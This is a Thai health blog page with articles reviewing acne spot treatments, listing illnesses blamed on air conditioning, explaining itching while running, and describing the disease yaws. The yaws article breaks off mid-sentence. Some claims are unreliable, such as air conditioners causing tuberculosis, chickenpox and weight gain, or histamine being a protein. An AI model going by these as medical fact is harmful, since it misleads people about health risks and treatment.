หมวดหมู่: สุขภาพ

  • 6 ครีมแต้มสิว สำหรับคนผิวมัน ที่ควรมีติดบ้าน!!

    6 ครีมแต้มสิว สำหรับคนผิวมัน ที่ควรมีติดบ้าน!!

    สาว ๆ คนไหนที่มีปัญหาผิวหน้ามันเยิ้ม… จนทำให้เกิดสิวได้ง่าย ชนิดที่เรียกว่านอนดึก เป็นเมนส์ เจอฝุ่นควัน สิวก็บุกมากวนใจอยู่ตลอด วันนี้เราได้ยกรีวิวครีมแต้มสิวถึง 6 ยี่ห้อ มาบอกต่อกันจ้า ตามไปดูกันดีกว่าว่า… หลอดไหนน่าซื้อมาใช้ หรือควรมีติดบ้านไว้อย่าให้ขาดบ้างน๊าาาา..

    • Dr.SOMCHAI ACNE spot touch gel

    ปริมาณ 8 กรัม ราคา 139 บาท
    มีขายที่เซเว่น และซุปเปอร์มาร์เก็ตทั่วไปค่ะ..

    เป็นเจลใส ๆ เข้มข้น กลิ่นมีความเป็นยาแต้มสิว 5555 ข้างกล่องเขียนว่า

    1. Salicylic acid ละลายและลดการอุดตันของสิว รูขุมขนช่วยให้สิวแห้งยุบเร็ว
    2. Glocolic acid สารสกัดธรรมชาติช่วยปรับผิวหมองคล้ำ เผยผิวสดใส เรียบเนียน
    3. Witch hazel เพิ่มความชุ่มชื้นและสมานผิว
    4. bisabolol ลดการระคายเคือง ช่วยให้ผิวเปล่งปลั่งแลดูสุขภาพดี

    วิธีใช้ แต้มสิววันละ 2-4 ครั้ง

    สิวยุบเร็วมาก ได้ผลดีกับสิวอักเสบ ทั้งมีหัวและไม่มีหัวค่ะ ตรงไหนที่จับแล้วเจ็บ ๆ แต่ยังไม่บวมไม่มีหัวขึ้นมา รีบทาเลยค่ะ ตื่นมามันจะยุบเลย เจ็บน้อยลง ทาไปอีก 2 วันหายเลย ส่วนสิวมีหัวแต้มแล้วแสบนิด ๆ ค่ะ ทาแล้วสิวแห้งเร็วดีค่ะ 1-2 วัน สิวก็แห้งแล้ว

    • clindalin gel

    ปริมาณ 5 กรัม ราคา 50 บาท ราคาแล้วแต่ร้าน หาซื้อได้ที่ร้านขายยา

    ส่วนประกอบหลักคือ ตัวยา Clindamycin ค่ะ ลดการอักเสบของสิวได้ดี โดยจะออกฤทธิ์ฆ่าเชื่อ P.Acne ซึ่งเป็นต้นเหตุของสิวชนิดหนึ่ง 

    วิธีใช้ ทาบริเวณที่เป็นสิว เช้าและเย็น
    เป็นเจล ๆ ค่ะ เหนียว ๆ นิดนึง ใช้เฉพาะตอนเย็นค่ะ ใช้ตอนเช้าไม่ได้เพราะจะแต่งหน้าไม่ได้เลย มันจะทำให้แป้งเป็นคราบค่ะ 

    ถ้าทาตอนสิวหัวเปิดแล้วจะแสบนิด ๆ ค่ะ แต่จะรู้สึกสะใจดีค่ะ ^^ หลอดนี้จิ๋วแต่แจ๋วค่ะ เห็นผลดีเลยล่ะ ได้ผลดีกับสิวอักเสบทั้งมีหัวและไม่มีหัวค่ะ สิวยุบเร็ว แต่ดื้อยาง่ายมาก ใช้แล้วหายต้องหยุดใช้เลยค่ะ ห้ามทาทั้งหน้า 

    • Clinda m คลินดา-เอ็ม

    ปริมาณ 15 ml. ราคา 50 บาท ที่ขวดเขียนว่า สรรพคุณ รักษาการอักเสบของสิว

    วิธีใช้ ใช้ทาบริเวณที่เป็นสิว วันละ 2 ครั้ง

    ส่วนประกอบ ? คลินดา เอ็ม 100 ml
    ประกอบด้วย Clindamycin Hydrochloride , eq. to Clindamycin base 1.0 g.

    เป็นคลินดาแบบน้ำใส ๆ ค่ะ ตัวยาเหมือนกันกับแบบเจล กลิ่นแอลกอฮอลรุนแรง ทาตรงสิวที่หัวเปิดจะแสบมาก

    คือ ยานี้เหมาะสำหรับคนเริ่มใช้ยาสิว ถ้าหน้ายังไม่ผ่านการรักษาสิวมาก่อน ทาแล้วจะหายเร็วมาก แต่หากผ่านการรักษาสิว ใช้ยาสิวมาอย่างโชกโชนแล้ว มันจะใช้ดีในช่วงแรก ๆ ค่ะ หลังจากนั้นต้องทิ้งช่วงไปนานมาก ถึงกลับมาใช้ใหม่ได้ มันดื้อยาง่ายมากค่ะตัวนี้ 

    • Benzac AC 5%

    ปริมาณ 15 กรัม ราคาประมาณ 130 บาท

    ตัวยา benzoyl peroxide ใช้มาหลายแบรนด์แล้ว เป็นยาสามัญประจำบ้านเลย ใช้รักษาสิวมานานหลายปีมากๆ

    benzac ac มี 2 ความเข้มข้น คือ 2.5% และ 5% Benzac ac 2.5% เหมาะกับคนที่เพิ่งเริ่มใช้ หรือยังไม่เคยใช้มาก่อนเลย หรือคนที่ผิวแพ้ง่าย ระคายเคืองง่าย เลือกที่ความเข้มข้นต่ำก่อน และไม่ควรทาทิ้งไว้นานเกิน 5 นาที

    Benzac ac 5% เหมาะกับคนที่ผิวไม่ค่อยแพ้ง่าย หรือคนที่ใช้มาซักระยะแล้ว รักษาสิวมาพักนึงแล้ว คุ้นชินกับ 2.5% มาซักพัก ก็ปรับมาใช้ตัวที่เข้มข้นมากกว่า 

    วิธีใช้  ใครเพิ่งเริ่มใช้ ลอง 2.5% ก่อนค่ะ ทาบาง ๆ ทั่วหน้าบนหน้าที่สะอาด และทิ้งไว้ 3-5 นาที จึงล้างออกด้วยน้ำสะอาด 

    กรณีคนที่รักษาสิวมาซักระยะแล้ว สามารถปรับมาใช้ 5% ได้ค่ะ และสามารถทิ้งไว้บนหน้านานขึ้นได้ ตัวนี้รักษาสิวดีมาก สิวอุดตัน สิวหัวดำ หัวแข็งก็จะกดออกง่ายค่ะ ไม่ต้องออกแรงเลย ทำให้เวลากด ไม่ค่อยอักเสบ ส่วนสิวอักเสบก็ลดลง

    • NATCARE ACNE SPOTSERUM

    ปริมาณ 10 กรัม ราคา 230 บาท หาซื้อได้ที่วัตสัน

    4% SalSphere? (Encapsulated 4% Salicylic Acid Complex) Salicylic acid ในรูปของอนุภาค Sphere ขนาดเพียง 0.1-0.3 ไมครอน ทำให้ซึมผ่านเซลล์ผิวได้ลึกและตรงจุด สารสำคัญออกฤทธิ์ได้ยาวนาน ไม่ก่อให้เกิดการระคายเคืองผิว Salicylic acid ช่วยในเรื่องของการผลัดเซลล์ผิว ลดการอุดตันรูขุมขน นอกจากนี้ในอนุภาคของ Sphere ยังประกอบด้วยสารอื่น ๆ ที่ช่วยยับยั้งการเติบโตของเชื้อแบคทีเรีย ลดการอักเสบ และฟื้นฟูสภาพผิว

    2.5% Acnacidol? BG สารสกัดจากนมผึ้ง Royal jelly ช่วยยับยั้งการเจริญเติบโตของเชื้อแบคทีเรีย P. Acne ซึ่งเป็นต้นเหตุของการเกิดสิว ช่วยลดการอักเสบสิวและทำให้สิวยุบเร็ว 

    และสารสกัดจากพืชธรรมชาติอันทรงคุณค่าที่อุดมไปด้วยสารต้านอนุมูลอิสระช่วยฟื้นฟูสภาพผิว ลดโอกาสเกิดรอยดำรอยแดงหลังจากการเป็นสิว

    วิธีใช้ ทาบริเวณที่เป็นสิว วันละ 2-3 ครั้ง

    เนื้อเจลครีมสีขาว กลิ่นหอมมากกกก ชอบกลิ่นมากกกค่ะ ตัวนี้ช่วยได้กับสิวอักเสบที่เปิดหัวแล้วได้ดีนะ หายเร็ว และผิวรอบๆ สิวไม่แห้งลอก แต่สิวที่บวม ๆ เจ็บ ๆ ไม่ค่อยช่วยค่ะ 

    • Differin gel

    ปริมาณ 15 กรัม ราคา ประมาณ 350 บาท เป็นยาที่ใช้รักษาสิวอุดตันที่ฮิตมากเวอร์

    รีวิวเยอะ ตัวยาสำคัญคือ Adapalene 0.1% ซึ่งเป็นอนุพันธ์ของกรดวิตามินเอ ก่อนจะลองตัวนี้ ได้ซื้อ retin a มาใช้ก่อน แล้วทนความสิวเห่อ และหน้าลอกไม่ไหวค่ะ เลยหยุดใช้ไปนานมาก แล้วซื้อตัวนี้มาลองใช้

    วิธีใช้ หน้าต้องแห้งสนิท ทาบริเวณที่เป็นสิว ใช้เฉพาะก่อนนอน 

    ใครที่ใช้ตัวนี้ อย่าลืมทากันแดดให้ดี ๆ ด้วยนะคะ เพราะเค้าทำให้ผิวไวต่อแดดเหมือนกัน สิวอุดตันลดลง แต่ต้องใช้เวลาซักพักใหญ่ ๆ ไม่ได้เห็นผลทันที ต้องใจเย็นๆค่ะ ใช้ไปเรื่อยๆ

    ทั้งหมดนี่ก็คือ 6 ครีมแต้มสิวดี ๆ ที่ควรมีติดบ้าน และสำหรับใครที่เป็นคนผิวผสมค่อนไปทางผิวมัน ก็ลองเก็บข้อมูลไปประกอบการตัดสินใจในการเลือกซื้อครีมแต้มสิวของตัวเองกันดูนะจ๊ะสาว ๆ ^^

    บอความอื่นที่น่าสนใจ : Microbiotic หน้าสวยผิวดีด้วยแบคทีเรีย 2018 , 7 สัญญาณแพ้กลูเตน

  • รู้ทัน! 9 โรคที่มาพร้อม “แอร์”

    รู้ทัน! 9 โรคที่มาพร้อม “แอร์”

    ปัจจุบันแอร์กลายเป็นเครื่องใช้ไฟฟ้าพื้นฐานที่ ทุกที่ต้องมีไปแล้วใช้ไหมละคะ เพราะไม่ว่าเราจะอยู่ที่ไหนก็ต้องเจอทั้งนั้น ไม่ว่าจะเป็นที่บ้าน ที่ทำงาน ห้างสรรพสินค้า  หรือซูเปอร์มาเก็ต และแน่นอนในสภาพอากาศบ้านเรา แอร์จะช่วยทำให้เรารู้สึกเย็นสบายมากขึ้น แต่รู้หรือไม่ว่า แอร์ที่เราใช้อยู่เป็นประจำทุกวันนั้น วันละหลายชั่วโมงนั้นก็มีข้อเสียต่อร่างกายเหมือนกันนะจ๊ะ ^^ เพราะหากเราอยู่ในห้องแอร์มากๆ ก็เสี่ยงที่จะเป็นโรคต่างๆได้เช่นกันคะ

    แอร์

    โรคที่เราพบบ่อยๆ นั้นก้อคือ ……

    • โรคระบบทางเดินหายใจ
      เป็นโรคที่พบได้โดยทั่วไป ตั่งแต่เด็กไปจนถึงผู้สูงวัย โดยเฉพาะหนุ่มสาวออฟฟิศ และกลุ่มผู้ที่ใช้ชีวิตอยู่ในห้องแอร์เป็นส่วนใหญ่  เพราะห้องที่เปิดแอร์จะต้องปิดประตูหน้าต่างให้มิดชิด อากาศก็จะไม่ถ่ายเท ทำให้เชื้อไวรัสเจริญเติบโตได้ดียิ่งขึ้น และหากอยู่ในห้องที่เปิดแอร์ในอุณหภูมิที่ต่ำกว่า 25 องศาเซลเซียส อากาศภายในห้องจะแห้ง  เซลล์ต่างๆ อย่างเซลล์เยื่อบุโพรงจมูก คอ หลอดลม ฯลฯ จะแห้งลงกว่าเดิม ส่งผลให้ผู้ที่อยู่ในห้องแอร์นานๆ หลายคนอาจป่วยเป็นโรคทางเดินหายใจ เช่น เป็นหวัด คัดจมูก แสบจมูก ภูมิแพ้ เป็นต้น
    แอร์
    • โรคลีเจียนแนร์  หรือเรียกได้อีกอย่างหนึ่งว่า  โรคจากเครื่องปรับอากาศ
      เป็นโรคติดเชื้อแบคทีเรียเฉียบพลันจากสิ่งแวดล้อม ผู้ป่วยโรคนี้จะมีอาการ เบื่ออาหาร อ่อนเพลีย ปวดกล้ามเนื้อ ปวดศรีษะ ภายในหนึ่งวันจะมีไข้สูงถึง 39-40 องศาเซลเซียส และมีอาการไอไม่มีเสมหะ ปวดท้อง อุจจาระร่วง ปอดอักเสบ และอาจมีการติดเชื้อชนิดอื่นร่วมด้วย เช่น เชื้อนิวโมคอคคัส เชื้อไมโคพลาสมา และเชื้อคลามัยเดีย
    แอร์
    • โรคไข้ปอนเตียก
      เป็นโรคที่ร่างกายแสดงปฏิกิริยาต่อเชื้อโรคที่ปะปนมากับอากาศจากแอร์ ผู้ป่วยโรคนี้จะมีอาการไม่สบายเนื้อสบายตัว รู้สึกป่วยไปประมาณ 2-5 วัน แล้วหลังจากนั้นอาการจะค่อยๆ หายไปเอง
    แอร์
    • โรคจากเชื้อไวรัส แบคทีเรีย และเชื้อรา
      ได้แก่ วัณโรค อีสุกอีใส หืดหอบ ปอดบวม หัดเยอรมัน และโรคอื่นๆ เหล่านั้น ส่วนหนึ่งอาจมีสาเหตุมาจากอากาศที่ออกมาจากแอร์ เพราะภายในแอร์นั้นมีเชื้อโรคอยู่มากมาย ซึ่งเมื่อเราเปิดแอร์ เชื้อโรคต่างๆ เหล่านั้นก็จะถูกพัดออกมาพร้อมกับอากาศด้วย และเมื่อเราหายใจรับอากาศเข้าไปก็เหมือนกับเราได้สูดเอาเชื้อโรคเข้าร่างกายไปด้วย จึงเป็นอีกสาเหตุหนึ่งที่ทำให้เกิดโรคต่างๆได้ค่ะ
    แอร์
    • ผื่นแพ้ ผิวหนังอักเสบ
      โรคนี้เกิดได้หลายสาเหตุไม่ว่าจะเป็นเสื้อผ้า อาหาร ความเครียด ภูมิอากาศ สภาพแวดล้อมที่เราอยู่  อย่างใครต้องอยู่ห้องแอร์เป็นประจำ ก็จะเป็นที่รู้กันดีอยู่แล้วว่าภายในแอร์ที่เราใช้อยู่เป็นประจำนั้นมีเชื้อโรคหลากหลายชนิดอาศัยอยู่ โดยเฉพาะอย่างยิ่งแอร์ที่เปิดมาแล้วมีกลิ่น ซึ่งนั่นก็หมายความว่าแอร์ที่คุณใช้อยู่นั้นมีเชื้อโรคอัดแน่นจนล้นทะลักส่งกลิ่นมาเป็นสัญญาณเตือนให้คุณได้รู้ตัวแล้ว ว่าคุณกำลังได้รับเชื้อโรคที่ฝังตัวอยู่ภายในแอร์ และเสี่ยงที่จะเป็นโรคต่างๆ อยู่นะ  เพราะนอกจากเชื้อโรคจะถูกสูดเข้าไปในปอดคุณแล้ว เชื้อโรคที่มาพร้อมกับอากาศเหล่านั้นยังได้สัมผัสถูกผิวกายของคุณเข้าให้อีกด้วย ทำให้เกิดผื่นแพ้ ผิวหนังอักเสบได้  ผู้ป่วยโรคนี้จะมีอาการ คันตามผิวหนัง  ผื่นแดง ถ้าผื่นนี้เป็นมานาน จนเข้าสู่ระยะเรื้อรัง จะพบเป็นแผ่นหนาแข็ง มีขุย ทำให้ผิวเป็นรอยแผลเป็น มักจะเป็นในบริเวณ หน้า คอ ข้อพับ ข้อศอก มือ และเท้า หากเกิดโรคนี้ควรที่จะดูแลรักษาไม่ให้โรคกำเริบ ด้วยการไม่เปิดแอร์ในอุณหภูมิที่ต่ำจนเกินไป
    แอร์
    • โรคตึกเป็นพิษ
      เป็นโรคที่เกิดขึ้นจากมลพิษภายในอาคารที่วางระบบหมุนเวียนอากาศไม่ดี ทำให้สารระเหยที่ออกมาจากเครื่องใช้สำนักงาน เช่น เครื่องซีร็อกซ์ ปริ้นเตอร์ รวมถึงสารระเหยจากสีทาผนัง ไม้อัด สารเคลือบเงาทั้งหลาย วนเวียนอยู่ภายในเครื่องปรับอากาศของอาคาร ผู้ป่วยโรคนี้จะมีอาการอ่อนล้า ปวดหัว เวียนหัว คลื่นไส้ คัดจมูก ไอ จาม เกิดผดผื่นคัน ระคายเคืองดวงตา และมีความผิดปกติของประสาทรับกลิ่น เป็นต้น
    แอร์
    • ภาวะติดเชื้อ
      ทางด้านสำนักงานปกป้องสิ่งแวดล้อมแห่งสหรัฐ (The Environmental Protection Agency : EPA) ได้เปิดเผยข้อมูล ไว้ว่า แท้จริงแล้ว ห้องแอร์ที่เราอยู่นั้นอากาศอาจเป็นมลพิษร้ายแรงกว่าอากาศที่อยู่ภายนอกหลายเท่า เพราะเครื่องปรับอากาศจะดูดอากาศภายในห้องหมุนเวียนไปมาเพื่อมาเป็นลมเย็นๆ ให้แก่เรา ทำให้อากาศไม่มีการถ่ายเท ทำให้ร่างกายเราเสี่ยงที่จะติดเชื้อโรคต่างๆที่มาพร้อมกับอากาศที่ไหลเวียนทั้งในห้องและเครื่องปรับอากาศ
    แอร์
    • ผิวแห้ง
      หากใครต้องอยู่ในห้องที่มีแอร์เย็นฉ่ำตลอดเวลา มักจะประสบปัญหาผิวแห้ง ขาดความชุ่มชื้น เพราะความเย็นจะทำให้อากาศแห้งทำให้ร่างกายเกิดการสูญเสียน้ำมากว่าปกติ ซึ่งอาการของผู้ที่ประสบปัญหาผิวแห้งนั้น จะมีอาการคัน ผิวแห้งตึง ลอกเป็นขุย ซึ่งหากมีอาการคันแล้วเกาจนเกิดแผล จะทำให้เกิดโอกาสติดเชื้อทางผิวหนังได้
    แอร์
    • อ้วนขึ้น
      เมื่ออยู่ในห้องแอร์จะทำให้เราอ้วนขึ้นโดยไม่รู้ตัว โดยเฉพาะห้องแอร์ที่เปิดในอุณหภูมิไว้อย่างพอดี ไม่อุ่นหรือหนาวจนเกินไป จะทำให้ร่างกายไม่จำเป็นต้องใช้พลังงานเพื่อเพิ่มความอบอุ่น  ทำให้ลดโอกาสในการเบิร์น หรือดื่มน้ำเยอะขึ้นแทนการกินจุกจิก และในสภาพอากาศที่เย็นสบายนั้นจะทำให้เราเพลิดเพลินกับการกินจุกจิกมากขึ้นส่งผลให้น้ำหนักตัวเพิ่มขึ้นโดยที่เราไม่ทันรู้ตัวกันเลยนะคะ
    แอร์

    เมื่อรู้อย่างนี้แล้ว เราจึงควรหาวิธีป้องกัน หลีกเลี่ยงที่จะพาตัวเองเข้าสู่สภาวะเสี่ยงต่อโรคต่างๆ นี้นะคะ ด้วยการออกกำลังกาย ทำร่างกายให้แข็งแรงเพื่อสร้างภูมิต้านทาน หากไม่จำเป็นควรลดช่วงเวลาที่อยู่ในห้องแอร์ลง ออกไปสูดอากาศภายนอกบ้างนะคะ

    แต่หากหลีกเลี่ยงไม่ได้ก็ต้องหมั่นดูแลรักษาความสะอาดอยู่เป็นประจำคะ เพื่อไม่ให้แอร์กลายเป็นแหล่งของเชื้อโรคที่จะคอยแพร่เชื้อทำลายสุขภาพของคุณ  โดยคุณสามารถเรียกใช้บริการล้างแอร์ด้วยช่างมืออาชีพได้นะคะ เรามีบริการ เพียงเท่านี้คุณก็จะได้สูดอากาศที่สะอาดปราศจากเชื้อโรคกันแล้วคร๊าาาา….

    ขอบคุณข้อมูลดีๆจาก : fixzy

    บทความอื่นที่น่าสนใจ : พฤติกรรมสร้างสุข สำหรับพนักงานออฟฟิศ , ไซนัสอักเสบ ชนิดเรื้องรัง… สำคัญหรือไม่?

  • วิ่งแล้วคันยุบยิบๆ แปลว่าไขมันเริ่มแตกตัวจริงหรือ?

    วิ่งแล้วคันยุบยิบๆ แปลว่าไขมันเริ่มแตกตัวจริงหรือ?

    ความรู้สึกหลังวิ่งเสร็จใหม่ๆ หรือขณะกำลังวิ่ง สำหรับมือใหม่หัดวิ่งแล้ว ไม่ได้มีความรู้สึกแค่เหนื่อยจนหายใจไม่ทัน เหนื่อยเหมือนจะขาดใจตาย แต่ยังมีอีกหนึ่งความรู้สึกที่มักเกิดขึ้นกับหลายๆ คน นั่นคือ อาการคันยิบๆ ตามตัวหรือตามขา อาจรวมไปถึงต้นขา สะโพก หรือเอวได้ด้วย

    บางคนคิดในแง่ดีว่า วิ่งแล้ว ไขมันเริ่มแตกตัวจนรู้สึกได้ ก็ดีใจเพราะคิดว่ากำลังจะผอม จริงๆ แล้วเป็นอย่างไร มาหาคำตอบกันค่ะ

    ทำไมวิ่งแล้วคันยิบๆ?

    อาการคันยิบๆ ตามขา ลำตัว สะโพก หรือส่วนอื่นๆ ของร่างกายขณะที่วิ่ง หรือหลังวิ่งเสร็จใหม่ๆ เป็นปฏิกิริยาของเส้นใยประสาทที่มีโปรตีนชนิดหนึ่ง เรียกว่า “ฮีสตามีน”

    ตามปกติแล้ว ฮีสตามีน จะถูกหลั่งออกมาเมื่อร่างกายมีอาการแพ้สารบางอย่าง โดยหน้าที่ของฮีสตามีน คือการหลั่งออกมาเพื่อเพิ่มการขยายของหลอดเลือดอย่างปัจจุบันทันด่วน เพื่อที่ร่างกายจะเพิ่มอัตราการไหลเวียนของโลหิตไปยังเนื้อเยื่อที่บาดเจ็บ หรือมีอาการติดเชื้อ เพื่อลำเลียงระบบคุ้มกันที่อยู่ในเลือดให้เข้าไปจัดการเนื้อเยื่อบริเวณที่มีปัญหาได้โดยเร็ว และแน่นอนว่าผลข้างเคียงของฮีสตามีนที่เข้าไปขยายหลอดเลือด จะทำให้เกิดอาการคันยิบๆ

    แต่นอกจากหน้าที่หลักของ ฮีสตามีน ตามที่ได้กล่าวไปแล้ว ฮีสตามีนยังหลั่งออกเมื่อมีการออกกำลังกายอย่างหนักอีกด้วย เนื่องจากคนที่ไม่ค่อยได้ออกกำลังกาย กล้ามเนื้อ หรือระบบไหลเวียนโลหิตอาจจะยังไม่คุ้นชินกับการถูกกระตุ้นด้วยการออกกำลังกายอย่างหนักในครั้งแรกๆ ร่างกายเลยหลั่งฮีสตามีนออกมาเพื่อขยายหลอดเลือดให้ระบบไหลเวียนโลหิตทำหน้าที่ลำเลียงโลหิตไปสู่ส่วนต่างๆ ของร่างกายได้เร็วขึ้น ปิ้งกันอาการเมื่อยล้า และช่วยให้เราอึดมากขึ้น

    ดังนั้นใครก็ตามที่วิ่ง หรือออกกำลังกายหนักๆ แล้วคันยุบยิบไปทั้งตัว แสดงว่าไม่ค่อยได้ออกกำลังกาย เส้นประสาทที่อยู่ในบริเวณนั้นๆ เช่น ตามขา สะโพก ลำตัว หรือแม้กระทั่งต้นแขน เลยมีความไวต่อฮีสตามีนมากกว่าคนที่ออกกำลังกายเป็นประจำ

    วิ่งแล้วคัน ทำอย่างไร?

    ทางแก้ง่ายๆ คือ ทนไปก่อนค่ะ ระดับความคันนี้จะแค่คันยุบยิบๆ ในระดับที่ทนได้ เมื่อพักร่างกายหลังวิ่ง หรือหลังออกกำลังกายไปสักพัก อาการคันก็จะหายไป และควรวิ่ง หรือออกกำลังกายอย่างต่อเนื่องเป็นประจำทุกวัน (หรือเกือบทุกวัน) เพื่อให้เส้นประสาทมีความไวต่อฮีสตามีนน้อยลง อาการคันก็จะค่อยๆ หายไปเอง

    ทั้งนี้ หากวิ่ง หรือออกกำลังกายแล้วคันมากเป็นพิเศษ ไม่ใช่แค่คันยุบยิบธรรมดาๆ คันแล้วไม่หาย อาจจะมาปเนที่สาเหตุอื่น เช่น ความอับชื้นของเหงื่อในร่างกายที่ทำปฏิกิริยากับเสื้อผ้าที่ใช้ออกกำลังกาย อาจระบายอากาศได้ไม่ดีพอ เสื้อผ้าไม่สะอาด หรือมีสารตกค้างจากผงซักฟอก และสาเหตุอื่นๆ แต่แน่นอนว่าไม่ได้เป็นไขมันแตกตัวอย่างที่หลายคนคิดแน่นอน กว่าไขมันจะค่อยๆ สลายตัว ใช้เวลาร่วมหลายเดือน และไม่ได้ทำให้เรารู้สึกชัดเจนอะไรขนาดนั้นแน่ๆ

    อย่างไรก็ตาม เราขอให้รู้ไว้ว่า คุณมาถูกทางแล้ว วิ่งแล้วคันยิบๆ นั้นเป็นสัญญาณที่ดี จงวิ่งต่อไป สู้ๆ

    ขอบคุณบทความ : teambeyondsport

    บทความอื่นที่น่าสนใจ : 30 ท่าออกกําลังกายยืดเหยียดกล้ามเนื้อ เพื่อลดความบาดเจ็บก่อนออกกำลังกาย

  • โรคคุดทะราด คืออะไร

    โรคคุดทะราด คืออะไร

    โรคคุดทะราด คืออะไร

    โรคคุดทะราด คืออะไร โรคคุดทะราด หรือเรียกกันสั้นๆในสมัยนั้นว่าคุดทะราด ชื่อภาษา อังกฤษ คือ Yaws หรือ Frambesia จัดอยู่ในประเภทเป็นโรคติดต่อเรื้อรัง มักพบได้บริเวณผิวหนังทั่วทั้งร่างกาย โดยลักษณะอาการจะเป็นๆหายๆ สามารถกลับมาเป็นซ้ำได้อีก แต่ปัจจุบันประเทศไทยและประเทศในแถบเอเชียตะวันออกเฉียงใต้สามารถควบคุมโรคนี้ได้แล้ว

    ประวัติความเป็นมา โดยสังเขป

    โรคคุดทะราด มักพบได้ในประเทศเขตร้อน โดยประเทศไทยได้มีบันทึกทางประวัติศาสตร์เกี่ยวกับโรคนี้ไว้ในสมัยอยุธยา จนถึงสงครามโลกครั้งที่ 2 จากบันทึกพบว่าประชาชนในภาคตะวันออกเฉียงเหนือและภาคใต้มักป่วยเป็นโรคนี้มากกว่าพื้นที่อื่นๆ

    สถานการณ์ทั่วโลก : ในปี พ.ศ. 2493 -2513 องค์การอนามัยโลก และ The United Nation’sChildren’s Fund ได้รณรงค์กวาดล้างโรคคุดทะราดโดยการรักษาด้วยยาเพนิซิลลิน ในทวีปแอฟริกา ทวีปอเมริกากลางทวีปอเมริกาใต้ ทวีปเอเชีย และประเทศในหมู่เกาะแปซิฟิก รวม 46 ประเทศ โดยผู้ป่วยมากกว่า 50 ล้านราย ได้รับการรักษาจากการรณรงค์ครั้งนี้ ทำให้ความชุกของโรคคุดทะราดทั่วโลกลดลงอย่างรวดเร็วมากกว่าร้อยละ 95 โดยเฉพาะในประเทศอินเดีย อินโดนีเซีย และประเทศไทย แต่โรคคุดทะราดกลับมาปรากฏขึ้นอีกครั้งในปี พ.ศ. 2523 ในแถบเส้นศูนย์สูตรและตะวันตกของทวีปแอฟริกา และพบการติดเชื้อกระจัดกระจายเป็นหย่อมๆ อยู่ใทวีปอเมริกาใต้และอเมริกากลาง หมู่เกาะคาริบเบียน เอเชียตะวันออกเฉียงใต้ และบางส่วนของหมู่เกาะแปซิฟิกใต้ เนื่องจากขาดการสนับสนุนทางทรัพยากรและทางการเมืองในการกวาดล้างโรคคุดทะราดต่อมาได้มีความพยายามในการกวาดล้างโรคอีกครั้งในปี พ.ศ. 2538 ในบางภูมิภาค แต่ยังขาดการประสานงานในระดับนานาชาติอยู่ และในปี พ.ศ. 2549 ประเทศอินเดียก็ประกาศว่า ได้กำจัดโรคคุดทะราดให้หมดไปจากประเทศ

    ในปัจจุบัน ความชุกของโรคคุดทะราดยังไม่ทราบแน่ชัด เนื่องจากไม่มีการรายงานโรคแบบเป็นทางการตั้งแต่ปี พ.ศ. 2533 แต่คาดการณ์ว่า มีผู้ป่วยโรคคุดทะราดรายใหม่ปีละประมาณ 5,000 ราย จากประเทศในแถบเอเชียตะวันออกเฉียงใต้ โดยเฉพาะประเทศอินโดนีเซียและติมอร์ตะวันออก ในปี พ.ศ. 2548 มีรายงานผู้ป่วยจากประเทศการ์น่า ประมาณ 26,000 ราย และมีรายงานผู้ป่วยจากประเทศ ปาปัวนิวกินีประมาณ 18,000 รายส่วนจำนวนผู้ป่วยในสหรัฐอเมริกานั้น ยังไม่ทราบแน่ชัด

    สถานการณ์โรคในประเทศไทย : มีการรายงานการระบาดของโรคคุดทะราดในหมู่บ้านชนบททางภาคใต้ของประเทศไทย ในปีพ.ศ. 2533 Tharmaphornpilas P. และคณะ ซึ่งพบผู้ป่วยจำนวน 54 ราย อายุตั้งแต่ 2 -79 ปี โดยเป็นผู้ป่วยอายุน้อยกว่า 15 ปีมากถึงร้อยละ 53.7 ทำให้มีการค้นหากลุ่มนักเรียนในโรงเรียนประถมศึกษาของพื้นที่ พบว่า นักเรียน 105 ราย ป่วยเป็นโรคคุดทะราดถึง 34 ราย ทำให้เกิดความตื่นตัวในการเฝ้าระวังควบคุมไม่ให้โรคคุดทะราดกลับมาระบาดอีกครั้งโดยหลังจากนั้นในปี พ.ศ. 2535 – 2539 พบการรายงานผู้ป่วยโรคคุดทะราดประปรายเป็นบางปี จากทุกภาคของประเทศไทย โดยมีจำนวนผู้ป่วยไม่มากนัก ปัจจุบันไม่มีรายงานผู้ป่วยใหม่ตั้งแต่ปี พ.ศ. 2540 – 2553

    โรคคุดทะราดเกิดจากอะไร

    โรคคุดทะราด : เกิดจากเชื้อบัคเตรีหรือเชื้อแบคทีเรีย ที่มีชื่อว่า ทรีโพนีมา เพอร์นู Treponema pallidum pertenue และพวกสไปโรซิส มีระยะฟักตัวนานประมาณ 2 สัปดาห์ถึง 3 เดือน โดยเชื้อโรคพวกนี้แพร่กระจายได้ง่ายด้วยการสัมผัสและเชื้อมักเข้าสู่ร่างกายทางแผลบริเวณผิวหนัง

    โรคคุดทะราด
    Treponema pallidum pertenue

    ลักษณะอาการของโรค

    อาการของโรคคุดทะราดแบ่งออกเป็น 3 ระยะด้วยกัน โดยหลังจากที่เชื้อโรคเข้าสู่ร่างกายทางบาดแผลแล้ว ประมาณ 3-6 สัปดาห์จะมีอาการ ดังนี้

    1. ในระยะแรก (mother yaw) บนผิวหนังจะเริ่มเป็นแผลแบบรอยย่นปูด (papilloma) ส่วนใหญ่เกิดบริเวณของใบหน้าและขา รอยโรคเป็นได้นานหลายสัปดาห์หรือเป็นเดือน มักไม่มีอาการเจ็บนอกจากมีการติดเชื้อแทรกซ้อน รอยโรคจะเพิ่มจำนวนอย่างช้าๆ และอาจทำให้เกิดรอยโรคแบบตุ่มสีม่วงคลํ้าคล้ายผลราสเบอร์รี่ (framboesial หรือ raspberry lesion) หรือตุ่มที่แตกเป็นแผลเปื่อย (ulceropapilloma) (ดังรูปที่ 1)ในระยะที่สอง หรือระยะมีการกระจายของผื่นนูน(papillomata) หรือมีจุดด่างแบบเป็นเกล็ด (ดังรูปที่ 2) ซึ่งอาการนี้จะปรากฏในช่วงระยะเวลาสั้นหลังจากการรักษารอยแผลเบื้องต้น ในฤดูร้อนบ่อยครั้งจะพบเห็นของเหลวในรอยพับของผิวและจุดนูน/ด่างเป็นจุดสนใจ (สำคัญ)รอยโรคเหล่านี้ทำให้เจ็บปวดและมักจะทำให้พิการรอยแผล paillomata และรอยลักษณะหนาคล้ายหนังคางคกบนฝ่ามือและฝ่าเท้าอาจเกิดขึ้นในระยะแรกและระยะสุดท้าย แผลจะหายเองแต่ก็เกิดแผลใหม่ขึ้นอีกในตำแหน่งอื่นได้ในระยะแรกและระยะหลัง ระยะสุดท้ายจะเกิดแผลที่มีการทำลายผิวหนังและกระดูก (ดังรูปที่ 